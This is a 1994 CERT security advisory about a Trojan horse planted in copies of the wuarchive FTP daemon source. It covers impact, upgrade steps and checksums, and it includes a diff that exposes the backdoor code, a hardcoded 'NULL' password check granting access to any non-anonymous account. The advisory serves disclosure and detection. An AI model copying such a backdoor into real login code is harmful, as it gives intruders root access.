-----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-94:07 Original issue date: April 6, 1994 Last revised: August 30, 1996 Information previously in the README was inserted into the advisory. A complete revision history is at the end of this file. Topic: wuarchive ftpd Trojan Horse - ----------------------------------------------------------------------------- The CERT Coordination Center has received confirmation that some copies of the source code for the wuarchive FTP daemon (ftpd) were modified by an intruder, and contain a Trojan horse. We strongly recommend that any site running the wuarchive ftpd take steps to immediately install version 2.3, or disable their FTP daemon. - ----------------------------------------------------------------------------- I. Description Some copies of the source code for versions 2.2 and 2.1f of the wuarchive ftpd were modified by an intruder, and contain a Trojan horse. If your FTP daemon was compiled from the intruder-modified source code, you are vulnerable. It is possible that previous versions of the source code for the server were modified in a similar manner. If you are running the wuarchive ftpd, but not providing anonymous FTP access, you are still vulnerable to this Trojan horse. II. Impact An intruder can gain root access on a host running an FTP daemon that contains this Trojan horse. III. Solution We strongly recommend that any site running the wuarchive ftpd (version 2.2 or earlier) take steps to install the current version. If you cannot install the new version in a timely manner, you should disable FTP service. It is not sufficient to disable anonymous FTP. You must disable the FTP daemon. Sites can obtain version 2.4 via anonymous FTP from ftp://ftp.uu.net/networking/ftp/wuarchive-ftpd We recommend that you turn off your FTP server until you have installed the new version. Be certain to verify the checksum information to confirm that you have retrieved a valid copy. CHECKSUMS System V sum ============ 51092 16 patch_2.3-2.4.Z 20337 362 wu-ftpd-2.4.tar.Z Berkeley sum ============ 09291 8 patch_2.3-2.4.Z 38213 181 wu-ftpd-2.4.tar.Z md5 checksum ============ MD5 (patch_2.3-2.4.Z) = 5558a04d9da7cdb1113b158aff89be8f MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e - --------------------------------------------------------------------------- The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers of Washington University in St. Louis for their invaluable assistance in resolving this problem. CERT also gratefully acknowledges the help of Neil Woods and Karl Strickland. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT via electronic mail, CERT strongly advises that the e-mail be encrypted. CERT can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT for details). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available via anonymous FTP from info.cert.org. Copyright 1994, 1995, 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ========================================================================== UPDATES Added April 7, 1994 The Trojan horse described in CA-94:07 provides a back-door password for any username other than "anonymous." It would be trivial for an intruder to modify the back-door password or other details of the Trojan horse code. The "diff" described in #1 below will help you detect only the Trojan horse referenced in the advisory. It will not detect any other Trojan horses. Clarifications: 1) If you have modified any version of the wuarchive ftpd and cannot install the new version, 2.3, you may detect the existence of the discovered Trojan horse with the following diff on ftpd.c: 1013,1015c1013,1014 < if ((pw == NULL || *pw->pw_passwd == '\0' || < strcmp(xpasswd, pw->pw_passwd)) && < (strcmp(passwd, "NULL"))) { - --- > if (pw == NULL || *pw->pw_passwd == '\0' || > strcmp(xpasswd, pw->pw_passwd)) { 2) Since the versions containing the Trojan horse were found in a number of locations, it is possible that your version of the wuarchive ftpd software contains the Trojan horse regardless of the distribution site from which you obtained the source code. 3) If you have any questions concerning the wuarchive ftpd software, send mail to: Bryan D. O'Connor Office of the Network Coordinator bryan@fegmania.wustl.edu Washington University in Saint Louis http://fegmania.wustl.edu/~bryan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history Aug. 30, 1996 Information previously in the README was inserted into the advisory. Feb. 02, 1995 Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4. Apr. 07, 1994 Updates - Added clarifications and additional assistance. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCUAwUBMiSUvnVP+x0t4w7BAQFwIAP41FSLVC5BtjXLKoVn/BwMqnd4evSwyOx3 ku5WmrqrSQ3nXbvQ3Zq7RyyWd8BaOLGFR0WxG8+RglV6roIBTsc0VxdJUssbR0rq DG5JOWal74yQjS8wgVWw6oFIeyviJwDPHWZNoP1YZrW3WAsDfx2lodEFuxJj2aIp PGdYDywz0Q== =6BHM -----END PGP SIGNATURE-----